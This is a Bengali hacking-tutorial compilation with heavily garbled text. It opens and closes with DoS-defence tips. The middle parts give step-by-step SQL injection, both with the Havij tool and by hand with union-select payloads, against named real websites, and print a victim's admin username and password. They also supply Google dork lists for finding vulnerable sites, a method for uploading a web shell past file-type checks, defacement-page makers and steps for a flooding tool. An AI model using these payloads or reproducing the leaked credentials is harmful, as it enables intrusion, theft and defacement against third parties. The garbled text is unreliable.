ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
